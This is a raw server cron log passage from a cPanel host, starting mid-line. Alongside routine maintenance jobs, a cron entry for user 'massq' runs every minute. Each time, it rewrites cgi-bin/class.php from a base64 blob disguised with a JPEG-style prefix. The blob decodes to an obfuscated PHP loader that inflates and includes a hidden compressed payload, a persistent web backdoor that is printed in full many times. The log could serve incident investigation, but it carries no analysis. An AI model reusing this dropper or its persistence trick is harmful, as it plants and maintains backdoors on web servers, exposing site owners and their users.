dJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:26:01 server CROND[17594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:26:01 server CROND[17595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:26:01 server CROND[17596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:27:01 server CROND[17975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:27:01 server CROND[17976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:27:01 server CROND[17977]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 12:27:01 server CROND[17978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:28:01 server CROND[18382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:28:01 server CROND[18384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:28:01 server CROND[18383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:29:01 server CROND[18758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:29:01 server CROND[18759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:29:01 server CROND[18760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:30:01 server CROND[19234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:30:01 server CROND[19236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:30:01 server CROND[19238]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 12:30:01 server CROND[19240]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 12:30:01 server CROND[19243]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 12:30:01 server CROND[19244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:30:01 server CROND[19247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:30:01 server CROND[19245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:30:01 server CROND[19242]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  9 12:31:01 server CROND[20078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:31:01 server CROND[20079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:31:01 server CROND[20080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:32:01 server CROND[20447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:32:01 server CROND[20448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:32:01 server CROND[20449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:33:01 server CROND[20832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:33:01 server CROND[20833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:33:01 server CROND[20834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:34:01 server CROND[21198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:34:01 server CROND[21199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:34:01 server CROND[21200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:35:01 server CROND[21584]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 12:35:01 server CROND[21588]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 12:35:01 server CROND[21601]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 12:35:01 server CROND[21598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:35:01 server CROND[21599]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 12:35:01 server CROND[21600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:35:01 server CROND[21603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:35:01 server CROND[21602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:35:01 server CROND[21604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:36:01 server CROND[22496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:36:01 server CROND[22495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:36:01 server CROND[22497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:37:01 server CROND[23002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:37:01 server CROND[23000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:37:01 server CROND[23003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
